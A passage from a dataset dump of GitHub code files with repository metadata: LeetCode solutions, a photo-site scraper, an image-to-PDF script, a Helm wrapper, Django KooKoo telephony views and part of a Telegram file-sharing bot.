pa,pb = headA,headB\n while pa != pb:\n pa = pa.next if pa else headB\n pb = pb.next if pb else headA\n return pa\n'''\n作者:caiji-ud\n链接:https://leetcode-cn.com/problems/intersection-of-two-linked-lists/solution/python3-shuang-zhi-zhen-by-caiji-ud-03ul/\n来源:力扣(LeetCode)\n著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。'''\n# @lc code=end\n\n","repo_name":"xinzhifumeng/learn","sub_path":"leetcode/160.相交链表.py","file_name":"160.相交链表.py","file_ext":"py","file_size_in_byte":3438,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"6453184331","text":"# https://leetcode.com/problems/longest-valid-parentheses/description/\n# tags: stack, dp, brackets\n\nclass Solution:\n def longestValidParentheses(self, s: str) -> int:\n left = right = out = 0\n for i in range(len(s)):\n if s[i] == '(':\n left += 1\n else:\n right += 1\n if left == right:\n out = max(out, 2*left)\n elif left < right:\n left = right = 0\n \n left = right = 0\n for i in range(len(s)-1, -1, -1):\n if s[i] == '(':\n left += 1\n if left == right:\n out = max(out, 2*left)\n elif left > right:\n left = right = 0\n else:\n right += 1\n \n return out\n\n\n\nclass Solution:\n def longestValidParentheses(self, s: str) -> int:\n out = 0\n stack = [-1]\n for i in range(len(s)):\n if s[i] == '(':\n stack.append(i)\n else:\n stack.pop()\n if stack:\n out = max(out, i - stack[-1])\n else:\n stack.append(i)\n\n return out\n\n\n\nclass Solution:\n def longestValidParentheses(self, s: str) -> int:\n out = 0\n if len(s) < 2:\n return out\n\n # dp[i] = longest string ending at index i\n # dp[i] = 0 if c=='(', else:\n # = dp[i-2] + 2 if dp[i-1]=='('\n # + dp[i - dp[i-1] - 1] + 2 if dp[i-1] == ')'\n dp = [0 for _ in range(len(s))]\n if s[0] == '(' and s[1] == ')':\n dp[1] = 2\n out = 2\n\n for i in range(2, len(s)):\n if s[i] == ')': # .........)\n if s[i-1] == '(': # .........()\n dp[i] = dp[i-2] + 2\n\n elif i - dp[i-1] - 1 >= 0 and s[i - dp[i-1] - 1] == '(': # .......))\n dp[i] = dp[i-1] + 2\n if i - dp[i-1] - 2 >= 0: # ..(.....))\n dp[i] += dp[i - dp[i-1] - 2]\n\n out = max(out, dp[i])\n \n return out\n","repo_name":"sangyeopjung/leetcode","sub_path":"arrays/stacks/LongestValidParentheses.py","file_name":"LongestValidParentheses.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43561844618","text":"class Solution(object):\r\n\tdef isValid(self,s):\r\n\t\t'''\r\n\t\t:type s: str\r\n\t\t:rtype: boolean\r\n\t\t'''\r\n\r\n\t\t# stack to keep track of opening brackets\r\n\t\tstack = []\r\n\r\n\t\t# Hash map for keeping track of mappings.\r\n\t\t# This keeps the code very clean.\r\n\t\t# Also makes adding more types of paranthesis easier\r\n\t\tmapping = {\")\":\"(\",\r\n\t\t\t\t\t\"}\":\"{\",\r\n\t\t\t\t\t\"]\":\"[\"}\r\n\r\n\t\t# for every bracket in the expression.\r\n\t\tfor char in s:\r\n\t\t\t# if chat is in closing bracket\r\n\t\t\tif char in mapping:\r\n\t\t\t\t# if so and its non empty, pop the topmost element from the stack\r\n\t\t\t\t# else assign a dummy value of '#' to the top_element variable\r\n\t\t\t\ttop_element = stack.pop() if stack else '#'\r\n\r\n\t\t\t\t# the mapping for the opening bracket in our hash and the top\r\n\t\t\t\t# element of stack dont match, return false\r\n\t\t\t\tif mapping[char] != top_element:\r\n\t\t\t\t\treturn false\r\n\t\t\telse:\r\n\t\t\t\tstack.append(char)\r\n\t\t# in the end, if the stack is empty, then we have a valid expression\r\n\t\treturn not stack;","repo_name":"yaleshen0/Algorithms","sub_path":"LEETCODE/Q20.py","file_name":"Q20.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18849177682","text":"#-*- coding:utf-8 -*-\nimport requests\nimport time\nimport re\nfrom bs4 import BeautifulSoup\nclass NvShen(object):\n def __init__(self):\n self.s = requests.session()\n self.base_url = 'https://www.nvshens.com'\n def get_nv_url(self): #获取女神首页url链接\n nv_url = 'https://www.nvshens.com/ajax/girl_query_total.ashx'\n nv_data = {\n 'country': '中国',\n 'professional': '主播',\n 'curpage': '2',\n 'pagesize': '20',\n }\n res = self.s.post(url=nv_url,data=nv_data)\n html = BeautifulSoup(res.text,'lxml')\n a = html.find_all('a')\n # print(a)\n last_num = int(a[-1].text[3:])\n print('总页数:{}'.format(last_num))\n all_url = []\n for i in range(1,last_num+1):\n nv_data['curpage'] = i\n res = self.s.post(url=nv_url, data=nv_data)\n html = BeautifulSoup(res.text, 'lxml')\n a = html.find_all('a',href=re.compile('girl'),text=re.compile('\\w'))\n all_url.extend(a)\n return all_url\n\n\n\n def get_nv_url_response(self,nv_url): #通过女神首页url链接 获取response内容\n url = self.base_url + nv_url\n try:\n res = self.s.get(url=url)\n res.encoding = 'utf-8'\n return res\n except Exception as e:\n print('{}获取超时{}'.format(url,e))\n\n\n def pipe_data(self,res): #清洗数据\n html = BeautifulSoup(res.text,'lxml')\n shenfen = html.find_all('table')[0].text\n xinxi = html.find_all(class_='infocontent')[0].text\n # img_url = html.select('a[class=\"igalleryli_link\"] img' )\n img_url = html.find_all('a',class_= 'igalleryli_link' )\n # print(shenfen)\n # print(xinxi)\n all_url = []\n for i in img_url:\n all_url.append((i['href'],i.img['title'],i.img['data-original'][:-11]))\n return [shenfen,xinxi,all_url]\n def get_img_num(self,img_url):\n url = self.base_url + img_url\n res = self.s.get(url)\n html = BeautifulSoup(res.text,'lxml')\n num = html.find_all('div',id='dinfo')\n num = num[0].span.text[:-3]\n return num\n\n\n def main(self):\n datas = []\n for i in self.get_nv_url():\n datas.append(i.text)\n tuple_url = self.pipe_data(self.get_nv_url_response(i['href']))\n # for k in tuple_url[2]:\n # num = self.get_img_num(k[2])\n # k.append(num)\n print(tuple_url)\n\n # break\n\nif __name__ == '__main__':\n n = NvShen()\n n.main()","repo_name":"ajimide001/nvshens","sub_path":"nvshens.py","file_name":"nvshens.py","file_ext":"py","file_size_in_byte":2606,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"28393456396","text":"# python 3\n# makePdf\n# Jasuk Koo\n# 2020.12.9\n\nimport os\nimport img2pdf\n\nprint(\"Start of makePdf from image files\")\n\nimg_dir = '.'\nwith open(img_dir+\"\\\\\"+\"output.pdf\", \"wb\") as f:\n\timg_list=[]\n\tfor file in os.listdir(img_dir):\n\t\tif file.endswith((\".jpg\", \".gif\", \".png\")):\n\t\t\timg_list.append(img_dir+\"\\\\\"+file)\n\tprint(\" img file count : %d\"%len(img_list))\n\tif not len(img_list) == 0 :\n\t\tpdf = img2pdf.convert(img_list)\n\t\tf.write(pdf)\n\nprint(\"End of makePdf from image files\")\n","repo_name":"momojkoo/img2Pdf","sub_path":"makePdf.py","file_name":"makePdf.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6188307928","text":"import yaml\n\nfrom helm.common import helm_run, normalize_args\nfrom helm.models import HelmChartInfo\n\n\ndef subcommand_run(*args, **kwargs):\n return helm_run(\"show\", *args, **kwargs)\n\n\ndef all(*args, **kwargs):\n args = normalize_args(*args, **kwargs)\n return subcommand_run(\"all\", *args, **kwargs)\n\n\ndef chart(chart: str | HelmChartInfo, *args, **kwargs) -> dict:\n if isinstance(chart, HelmChartInfo):\n chart = chart.name\n args = normalize_args(*args, **kwargs)\n data = subcommand_run(\"chart\", chart, *args, **kwargs).stdout\n return yaml.safe_load(data)\n\n\ndef crds(chart: str | HelmChartInfo, *args, **kwargs):\n if isinstance(chart, HelmChartInfo):\n chart = chart.name\n args = normalize_args(*args, **kwargs)\n return subcommand_run(\"crds\", *args, **kwargs)\n\n\ndef readme(chart: str | HelmChartInfo, *args, **kwargs) -> str:\n if isinstance(chart, HelmChartInfo):\n chart = chart.name\n args = normalize_args(*args, **kwargs)\n return subcommand_run(\"readme\", *args, **kwargs).stdout\n\n\ndef values(chart: str | HelmChartInfo, *args, **kwargs) -> dict:\n if isinstance(chart, HelmChartInfo):\n chart = chart.name\n args = normalize_args(*args, **kwargs)\n data = subcommand_run(\"values\", *args, **kwargs).stdout\n return yaml.safe_load(data)\n","repo_name":"atti92/helm-client","sub_path":"helm/show.py","file_name":"show.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"31738153975","text":"from django.http import HttpResponse\nfrom django.http import JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.contrib.sites.shortcuts import get_current_site\n\nfrom management.models import * \nfrom .models import *\n\nfrom .kookoo import *\n\nimport requests\nimport xml.etree.ElementTree as ET\nimport datetime\nimport base64\nimport json\nimport phonenumbers\nfrom django.db.models import Q\nfrom notifcation.models import *\n\n@csrf_exempt\ndef callConnect(request):\n \n leadid = request.POST.get('leadid')\n phoneid = request.POST.get('phoneid')\n # fetching Lead \n print(phoneid)\n lead = Lead.objects.get(id=leadid)\n # fetching builder \n builder = BuilderCallInfo.objects.filter(builder = lead.builder.id)\n # activate creating\n lead_activity1 = LeadActivity(\n activity_type = 'telephone_outgoing',\n remote_addr = request.META['REMOTE_ADDR'],\n remote_url_requested = request.META['HTTP_REFERER'],\n )\n lead_activity1.user = CustomUser.objects.get(pk = request.session['userid'])\n lead_activity1.save()\n\n lead.lead_activity.add(lead_activity1)\n\n # time restrict \n\n NowT = datetime.datetime.now().hour\n print(NowT)\n if NowT < 9 and NowT > 18:\n lead_activity1.comment = \"LMSstatus:11\"\n lead_activity1.save()\n return JsonResponse({\n \"LMSstatus\":11,\n \"additional\":\"Calling Time is Over. try in between 9AM to 6PM (error code:TRAI Guidance)\"\n })\n\n\n\n # validation\n if len(builder) == 0:\n lead_activity1.comment = \"LMSstatus:10\"\n lead_activity1.save()\n return JsonResponse({\n \"LMSstatus\":10,\n \"additional\":\"Calling is not activated please inform Admin (error code:builder_call_info)\"\n })\n else:\n builder = builder[0]\n\n\n # muiltiple connection \n if builder.type_of_connection == 'KooKoo':\n # kookoo\n \n # kookoo validation\n if builder.builder_call_info_kookoo == None:\n lead_activity1.comment = \"LMSstatus:9\"\n lead_activity1.save()\n return JsonResponse({\n \"LMSstatus\":9,\n \"additional\":\"Calling is not activated please inform Admin (error code:builder_call_info_kookoo)\"\n })\n \n # agent Validation\n if lead.tme.phone == None:\n lead_activity1.comment = \"LMSstatus:8\"\n lead_activity1.save()\n return JsonResponse({\n \"LMSstatus\":8,\n \"additional\":\"Please provide agent number\"\n })\n \n\n # phone validation\n number=phonenumbers.parse(lead.tme.phone,'IN')\n if phonenumbers.is_valid_number(number) == False:\n lead_activity1.comment = \"LMSstatus:7\"\n lead_activity1.save()\n return JsonResponse({\n \"LMSstatus\":7,\n \"additional\":\"Please provide valid agent number\"\n })\n # import pdb; pdb.set_trace()\n visitornu = str_decode(PhoneNumber.objects.get(pk = phoneid).number)\n number=phonenumbers.parse(visitornu,'IN')\n if phonenumbers.is_valid_number(number) == False:\n lead_activity1.comment = \"LMSstatus:6\"\n lead_activity1.save()\n return JsonResponse({\n \"LMSstatus\":6,\n \"additional\":\"Invalid Visitor number\"\n })\n \n # need to check interntional \n\n builder_kookoo = builder.builder_call_info_kookoo\n \n params_data = {\n 'api_key': builder_kookoo.api_key, \n 'phone_no' : lead.tme.phone, # agent number\n 'caller_id' : builder_kookoo.caller_id , # did\n 'outbound_version' : 2,\n 'url': ''.join(['http://', get_current_site(request).domain,'/telephone/kookoo/calldial/?mcid=',leadid]) # callback URL\n } \n\n url = 'http://www.kookoo.in/outbound/outbound.php/'\n print(params_data)\n\n # datetime or request\n datetime_of_request = datetime.datetime.now()\n \n #request\n r_data = requests.get(url,params = params_data)\n root = ET.fromstring(r_data.text)\n print(r_data.text)\n\n if root.getchildren()[1].text == \"Authentication error\":\n lead_activity1.comment = \"LMSstatus:12\"\n lead_activity1.save()\n return JsonResponse({\n \"LMSstatus\":12,\n \"additional\":\"Kookoo Authentication error\"\n })\n\n\n #request datatable\n telePhonekookoo1 = TelePhonekookoo.objects.create(\n sid = root.getchildren()[1].text,\n user = CustomUser.objects.get(id=request.session['userid']),\n lead = lead.id,\n phone = PhoneNumber.objects.get(pk = phoneid),\n status = \"ConnectingAgent\",\n call_type = \"Out\"\n )\n print(\"Call ********** ConnectingAgent *********\")\n #log\n RequestLog.objects.create(\n requested_at = datetime_of_request,\n response_ms = r_data.elapsed.total_seconds(),\n # requested_params = base64.b64encode(json.dumps(params_data).encode()),\n requested_params = json.dumps(params_data), # need to remve this in Production\n requested_status_code = r_data.status_code,\n requested_method = r_data.request.method,\n requested_response = r_data.text,\n requested_errors = \"\",\n requested_url = url,\n # application specific \n user_remote_addr = request.META['REMOTE_ADDR'],\n user_host = get_current_site(request).domain + request.path_info,\n user = CustomUser.objects.get(id=request.session['userid']),\n response_sid = root.getchildren()[1].text,\n )\n\n #succesful with sid \n if len(root.getchildren()) > 0:\n lead_activity1.telephone = telePhonekookoo1\n lead_activity1.save()\n return JsonResponse({\n \"LMSstatus\":1,\n \"additional\":\"Connecting.. through KooKoo\",\n \"message\":root.getchildren()[1].text\n })\n #error\n else:\n lead_activity1.comment = \"LMSstatus:2\"\n lead_activity1.save()\n return JsonResponse({\n \"LMSstatus\":2,\n \"additional\":\"Issue with Kookoo\",\n })\n # Calling cofigration issue\n else:\n lead_activity1.comment = \"LMSstatus:3\"\n lead_activity1.save()\n return JsonResponse({\n \"LMSstatus\":3,\n \"additional\":\"Calling is not activated please inform Admin\",\n \n })\n\n \n\n\n\n# kookoo\n@csrf_exempt\ndef callDialKookoo(request):\n print(\"inddsadasdasd\")\n datetime_of_request = datetime.datetime.now()\n \n telephonekookoo = TelePhonekookoo.objects.get(sid = request.GET['sid'])\n r1 = \"\"\n \n if request.GET.get('event','') == 'NewCall':\n r1=Response()\n print(\"calldial\")\n if request.GET.get('mcid',''):\n lead = Lead.objects.get(id=request.GET.get('mcid',''))\n builder = BuilderCallInfo.objects.get(builder = lead.builder.id)\n r1.addDial(str_decode(telephonekookoo.phone.number),record='true',limittime=\"1000\",timeout=\"30\",moh='default',promptToCalledNumber='no',caller_id=builder.builder_call_info_kookoo.caller_id)\n telephonekookoo.status = \"ConnectingVisitor\"\n print(\"Call ********** ConnectingVisitor *********\")\n else:\n print(\"issue with builder settings\")\n\n\n elif request.GET.get('event','') == 'Dial' or request.GET.get('event','') == 'Hangup':\n if request.GET['status'] == 'not_answered':\n r1 = 'Success'+request.GET['status']+''\n if request.GET.get('message','') == \"NormalCallClearing\":\n telephonekookoo.status = \"MissCallVisitor\"\n print(\"Call ********** MissCallVisitor *********\")\n elif request.GET.get('message','') == \"NoAnswer\":\n telephonekookoo.status = \"RejectedVisitor\"\n print(\"Call ********** RejectedVisitor *********\")\n \n else:\n telephonekookoo.status = request.GET.get('message','') + \"Visitor\"\n print(\"Call **********\" + request.GET.get('message','') + \"Visitor *********\")\n\n \n\n else:\n r1 = 'Success'+request.GET['status']+''\n\n if request.GET.get('message','') == \"answered\":\n telephonekookoo.status = \"AnsweredVisitor\"\n print(\"Call ********** AnsweredVisitor *********\")\n telephonekookoo.url = request.GET.get('data','')\n else:\n telephonekookoo.status = request.GET['status'] + \"Visitor\"\n print(\"Call ********** \" + request.GET['status'] + \"Visitor *********\")\n \n\n \n else:\n pass\n \n \n telephonekookoo.save()\n\n RequestLog.objects.create(\n requested_at = datetime_of_request,\n requested_method = 'GET',\n requested_response = r1,\n requested_errors = \"\",\n # requested_params = base64.b64encode(json.dumps(request.GET).encode()) ,\n requested_params = json.dumps(request.GET), # need to remve this in Production\n requested_url = 'Outgoing',\n user_remote_addr = request.META['REMOTE_ADDR'],\n user_host = get_current_site(request).domain + request.path_info,\n response_sid = request.GET['sid'],\n )\n \n return HttpResponse(r1)\n\n\n\n\n\n# incomming\n@csrf_exempt\ndef inboundCallKookoo(request):\n print(\"________________________________________________INcoming_________________________________ \",request.GET)\n r1 = \"\"\n datetime_of_request = datetime.datetime.now()\n\n if request.GET.get('event') =='NewCall':\n builders = BuilderCallInfo.objects.filter(builder_call_info_kookoo__caller_id = request.GET.get('called_number'))\n\n # The following code support muiltiple Builder sharing same DID and selects first mached Lead\n phonecount = 0\n for eachbuilder in builders:\n query = Q()\n query_phone_model = PhoneNumber.objects.filter( builder=eachbuilder.builder).filter(number=str_encode(request.GET.get('cid_e164')[3:],True))\n builder = eachbuilder\n if query_phone_model.count() > 0:\n break\n\n if query_phone_model.count() > 0:\n phone_model = query_phone_model.first()\n lead = query_phone_model.first().lead_set.first()\n if lead:\n agent2 = lead.tme.phone\n cid = lead.id\n else:\n print(\"phone is not linked with lead\")\n\n\n telePhonekookoo1 = TelePhonekookoo.objects.create(\n sid = request.GET.get('sid'),\n user = lead.tme,\n lead = lead.id,\n phone = phone_model,\n status = \"ConnectingAgent\",\n call_type = \"In\"\n )\n\n # import pdb ; pdb.set_trace()\n lead_activity1 = LeadActivity(\n activity_type = 'telephone_incomming',\n remote_addr = request.META['REMOTE_ADDR'],\n remote_url_requested = '/telephone/kookoo/inboundcall/',\n )\n lead_activity1.user = lead.tme\n lead_activity1.telephone = telePhonekookoo1 \n lead_activity1.save()\n lead.lead_activity.add(lead_activity1)\n lead.last_lead_activity = lead_activity1\n lead.save()\n\n r1=Response()\n r1.addDial(agent2,record='true',limittime=\"1000\",timeout=\"30\",moh='default',promptToCalledNumber='no',caller_id=builder.builder_call_info_kookoo.caller_id)\n\n else:\n r1=Response()\n r1.addDial(CustomUser.objects.get(name=\"Kamala\").phone,record='true',limittime=\"1000\",timeout=\"30\",moh='default',promptToCalledNumber='no',caller_id=request.GET.get('called_number'))\n\n print(\"New call\")\n \n elif request.GET.get('event') =='Dial'or request.GET.get('event','') == 'Hangup':\n telephonekookoo = TelePhonekookoo.objects.get(sid = request.GET['sid'])\n if request.GET['status'] == 'not_answered':\n if request.GET.get('message','') == \"NormalCallClearing\":\n telephonekookoo.status = \"MissCallAgent\"\n print(\"Call ********** MissCallAgent *********\")\n elif request.GET.get('message','') == \"NoAnswer\":\n telephonekookoo.status = \"RejectedAgent\"\n print(\"Call ********** RejectedAgent *********\")\n \n else:\n telephonekookoo.status = request.GET.get('message','') + \"Agent\"\n print(\"Call **********\" + request.GET.get('message','') + \"Agent *********\")\n\n else:\n\n if request.GET.get('message','') == \"answered\":\n telephonekookoo.status = \"AnsweredAgent\"\n print(\"Call ********** AnsweredAgent *********\")\n telephonekookoo.url = request.GET.get('data','')\n else:\n telephonekookoo.status = request.GET['status'] + \"Agent\"\n print(\"Call ********** \" + request.GET['status'] + \"Agent *********\")\n\n\n telephonekookoo.save()\n else:\n pass\n\n RequestLog.objects.create(\n requested_at = datetime_of_request,\n requested_method = 'GET',\n requested_response = r1,\n requested_errors = \"\",\n # requested_params = base64.b64encode(json.dumps(request.GET).encode()) ,\n requested_params = json.dumps(request.GET) ,\n requested_url = 'incomming',\n user_remote_addr = request.META['REMOTE_ADDR'],\n user_host = get_current_site(request).domain + request.path_info,\n response_sid = request.GET.get('sid',''),\n )\n\n return HttpResponse(r1)\n\n","repo_name":"prinjal-boruah/LMS_2020","sub_path":"telephone/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39096382577","text":"from collections import defaultdict\n\n\nclass Solution:\n def lengthOfLongestSubstring(self, s: str) -> int:\n #\n # Solution v1: Brute Force\n #\n # Runtime: 54 ms @ (beats) 94.95%\n # Memory Usage: 14 MB @ (beats) 92.43%\n #\n if len(s) <= 1:\n return len(s)\n elif len(s) == 2:\n return 1 if s[0] == s[1] else 2\n else:\n flag = {}\n ans = 0\n temp = \"\"\n start = 0\n\n for i in range(len(s)):\n if flag.get(s[i]) is not None and flag.get(s[i]) >= start:\n ans = max(ans, len(temp))\n start = flag.get(s[i]) + 1\n idx = temp.find(s[i]) + 1\n if idx >= len(temp):\n temp = \"\"\n else:\n temp = temp[idx:]\n # continue\n\n temp += s[i]\n flag[s[i]] = i\n\n return max(ans, len(temp))\n\n\nif __name__ == \"__main__\":\n solution = Solution()\n\n s = \"abcabcbb\"\n print(f\"return: {solution.lengthOfLongestSubstring(s)}\") # 3\n\n s = \"bbbbb\"\n print(f\"return: {solution.lengthOfLongestSubstring(s)}\") # 1\n\n s = \"pwwkew\"\n print(f\"return: {solution.lengthOfLongestSubstring(s)}\") # 3\n\n s = \"aab\"\n print(f\"return: {solution.lengthOfLongestSubstring(s)}\") # 2\n","repo_name":"yogggithub/algorithm","sub_path":"LeetCode/Python/solutions/p0003.py","file_name":"p0003.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10005673561","text":"# (c) @AbirHasan2005\n\nimport os\nimport asyncio\nimport traceback\nfrom binascii import (\n Error\n)\nfrom pyrogram import (\n Client,\n enums,\n filters\n)\nfrom pyrogram.errors import (\n UserNotParticipant,\n FloodWait,\n QueryIdInvalid\n)\nfrom pyrogram.types import (\n InlineKeyboardMarkup,\n InlineKeyboardButton,\n CallbackQuery,\n Message\n)\nfrom configs import Config\nfrom handlers.database import db\nfrom handlers.add_user_to_db import add_user_to_database\nfrom handlers.send_file import send_media_and_reply\nfrom handlers.helpers import b64_to_str, str_to_b64\nfrom handlers.check_user_status import handle_user_status\nfrom handlers.force_sub_handler import (\n handle_force_sub,\n get_invite_link\n)\nfrom handlers.broadcast_handlers import main_broadcast_handler\nfrom handlers.save_media import (\n save_media_in_channel,\n save_batch_media_in_channel\n)\n\nMediaList = {}\n\nBot = Client(\n name=Config.BOT_USERNAME,\n in_memory=True,\n bot_token=Config.BOT_TOKEN,\n api_id=Config.API_ID,\n api_hash=Config.API_HASH\n)\n\n\n@Bot.on_message(filters.private)\nasync def _(bot: Client, cmd: Message):\n await handle_user_status(bot, cmd)\n\n\n@Bot.on_message(filters.command(\"start\") & filters.private)\nasync def start(bot: Client, cmd: Message):\n\n if cmd.from_user.id in Config.BANNED_USERS:\n await cmd.reply_text(\"Sorry, You are banned.\")\n return\n if Config.UPDATES_CHANNEL is not None:\n back = await handle_force_sub(bot, cmd)\n if back == 400:\n return\n \n usr_cmd = cmd.text.split(\"_\", 1)[-1]\n if usr_cmd == \"/start\":\n await add_user_to_database(bot, cmd)\n await cmd.reply_text(\n Config.HOME_TEXT.format(cmd.from_user.first_name, cmd.from_user.id),\n disable_web_page_preview=True,\n reply_markup=InlineKeyboardMarkup(\n [\n [\n InlineKeyboardButton(\"Support Group\", url=\"https://t.me/JoinOT\"),\n InlineKeyboardButton(\"Bots Channel\", url=\"https://t.me/Discovery_Updates\")\n ],\n [\n InlineKeyboardButton(\"About Bot\", callback_data=\"aboutbot\"),\n InlineKeyboardButton(\"About Dev\", callback_data=\"aboutdevs\")\n ]\n ]\n )\n )\n else:\n try:\n try:\n file_id = int(b64_to_str(usr_cmd).split(\"_\")[-1])\n except (Error, UnicodeDecodeError):\n file_id = int(usr_cmd.split(\"_\")[-1])\n GetMessage = await bot.get_messages(chat_id=Config.DB_CHANNEL, message_ids=file_id)\n message_ids = []\n if GetMessage.text:\n message_ids = GetMessage.text.split(\" \")\n _response_msg = await cmd.reply_text(\n text=f\"**Total Files:** `{len(message_ids)}`\",\n quote=True,\n disable_web_page_preview=True\n )\n else:\n message_ids.append(int(GetMessage.id))\n for i in range(len(message_ids)):\n await send_media_and_reply(bot, user_id=cmd.from_user.id, file_id=int(message_ids[i]))\n except Exception as err:\n await cmd.reply_text(f\"Something went wrong!\\n\\n**Error:** `{err}`\")\n\n\n@Bot.on_message((filters.document | filters.video | filters.audio) & ~filters.chat(Config.DB_CHANNEL))\nasync def main(bot: Client, message: Message):\n\n if message.chat.type == enums.ChatType.PRIVATE:\n\n await add_user_to_database(bot, message)\n\n if Config.UPDATES_CHANNEL is not None:\n back = await handle_force_sub(bot, message)\n if back == 400:\n return\n\n if message.from_user.id in Config.BANNED_USERS:\n await message.reply_text(\"Sorry, You are banned!\\n\\nContact [Support Group](https://t.me/JoinOT)\",\n disable_web_page_preview=True)\n return\n\n if Config.OTHER_USERS_CAN_SAVE_FILE is False:\n return\n\n await message.reply_text(\n text=\"**Choose an option from below:**\",\n reply_markup=InlineKeyboardMarkup([\n [InlineKeyboardButton(\"Save in Batch\", callback_data=\"addToBatchTrue\")],\n [InlineKeyboardButton(\"Get Sharable Link\", callback_data=\"addToBatchFalse\")]\n ]),\n quote=True,\n disable_web_page_preview=True\n )\n elif message.chat.type == enums.ChatType.CHANNEL:\n if (message.chat.id == int(Config.LOG_CHANNEL)) or (message.chat.id == int(Config.UPDATES_CHANNEL)) or message.forward_from_chat or message.forward_from:\n return\n elif int(message.chat.id) in Config.BANNED_CHAT_IDS:\n await bot.leave_chat(message.chat.id)\n return\n else:\n pass\n\n try:\n forwarded_msg = await message.forward(Config.DB_CHANNEL)\n file_er_id = str(forwarded_msg.id)\n share_link = f\"https://t.me/{Config.BOT_USERNAME}?start=AbirHasan2005_{str_to_b64(file_er_id)}\"\n CH_edit = await bot.edit_message_reply_markup(message.chat.id, message.id,\n reply_markup=InlineKeyboardMarkup([[InlineKeyboardButton(\n \"Get Sharable Link\", url=share_link)]]))\n if message.chat.username:\n await forwarded_msg.reply_text(\n f\"#CHANNEL_BUTTON:\\n\\n[{message.chat.title}](https://t.me/{message.chat.username}/{CH_edit.id}) Channel's Broadcasted File's Button Added!\")\n else:\n private_ch = str(message.chat.id)[4:]\n await forwarded_msg.reply_text(\n f\"#CHANNEL_BUTTON:\\n\\n[{message.chat.title}](https://t.me/c/{private_ch}/{CH_edit.id}) Channel's Broadcasted File's Button Added!\")\n except FloodWait as sl:\n await asyncio.sleep(sl.value)\n await bot.send_message(\n chat_id=int(Config.LOG_CHANNEL),\n text=f\"#FloodWait:\\nGot FloodWait of `{str(sl.value)}s` from `{str(message.chat.id)}` !!\",\n disable_web_page_preview=True\n )\n except Exception as err:\n await bot.leave_chat(message.chat.id)\n await bot.send_message(\n chat_id=int(Config.LOG_CHANNEL),\n text=f\"#ERROR_TRACEBACK:\\nGot Error from `{str(message.chat.id)}` !!\\n\\n**Traceback:** `{err}`\",\n disable_web_page_preview=True\n )\n\n\n@Bot.on_message(filters.private & filters.command(\"broadcast\") & filters.user(Config.BOT_OWNER) & filters.reply)\nasync def broadcast_handler_open(_, m: Message):\n await main_broadcast_handler(m, db)\n\n\n@Bot.on_message(filters.private & filters.command(\"status\") & filters.user(Config.BOT_OWNER))\nasync def sts(_, m: Message):\n total_users = await db.total_users_count()\n await m.reply_text(\n text=f\"**Total Users in DB:** `{total_users}`\",\n quote=True\n )\n\n\n@Bot.on_message(filters.private & filters.command(\"ban_user\") & filters.user(Config.BOT_OWNER))\nasync def ban(c: Client, m: Message):\n \n if len(m.command) == 1:\n await m.reply_text(\n f\"Use this command to ban any user from the bot.\\n\\n\"\n f\"Usage:\\n\\n\"\n f\"`/ban_user user_id ban_duration ban_reason`\\n\\n\"\n f\"Eg: `/ban_user 1234567 28 You misused me.`\\n\"\n f\"This will ban user with id `1234567` for `28` days for the reason `You misused me`.\",\n quote=True\n )\n return\n\n try:\n user_id = int(m.command[1])\n ban_duration = int(m.command[2])\n ban_reason = ' '.join(m.command[3:])\n ban_log_text = f\"Banning user {user_id} for {ban_duration} days for the reason {ban_reason}.\"\n try:\n await c.send_message(\n user_id,\n f\"You are banned to use this bot for **{ban_duration}** day(s) for the reason __{ban_reason}__ \\n\\n\"\n f\"**Message from the admin**\"\n )\n ban_log_text += '\\n\\nUser notified successfully!'\n except:\n traceback.print_exc()\n ban_log_text += f\"\\n\\nUser notification failed! \\n\\n`{traceback.format_exc()}`\"\n\n await db.ban_user(user_id, ban_duration, ban_reason)\n print(ban_log_text)\n await m.reply_text(\n ban_log_text,\n quote=True\n )\n except:\n traceback.print_exc()\n await m.reply_text(\n f\"Error occoured! Traceback given below\\n\\n`{traceback.format_exc()}`\",\n quote=True\n )\n\n\n@Bot.on_message(filters.private & filters.command(\"unban_user\") & filters.user(Config.BOT_OWNER))\nasync def unban(c: Client, m: Message):\n\n if len(m.command) == 1:\n await m.reply_text(\n f\"Use this command to unban any user.\\n\\n\"\n f\"Usage:\\n\\n`/unban_user user_id`\\n\\n\"\n f\"Eg: `/unban_user 1234567`\\n\"\n f\"This will unban user with id `1234567`.\",\n quote=True\n )\n return\n\n try:\n user_id = int(m.command[1])\n unban_log_text = f\"Unbanning user {user_id}\"\n try:\n await c.send_message(\n user_id,\n f\"Your ban was lifted!\"\n )\n unban_log_text += '\\n\\nUser notified successfully!'\n except:\n traceback.print_exc()\n unban_log_text += f\"\\n\\nUser notification failed! \\n\\n`{traceback.format_exc()}`\"\n await db.remove_ban(user_id)\n print(unban_log_text)\n await m.reply_text(\n unban_log_text,\n quote=True\n )\n except:\n traceback.print_exc()\n await m.reply_text(\n f\"Error occurred! Traceback given below\\n\\n`{traceback.format_exc()}`\",\n quote=True\n )\n\n\n@Bot.on_message(filters.private & filters.command(\"banned_users\") & filters.user(Config.BOT_OWNER))\nasync def _banned_users(_, m: Message):\n \n all_banned_users = await db.get_all_banned_users()\n banned_usr_count = 0\n text = ''\n\n async for banned_user in all_banned_users:\n user_id = banned_user['id']\n ban_duration = banned_user['ban_status']['ban_duration']\n banned_on = banned_user['ban_status']['banned_on']\n ban_reason 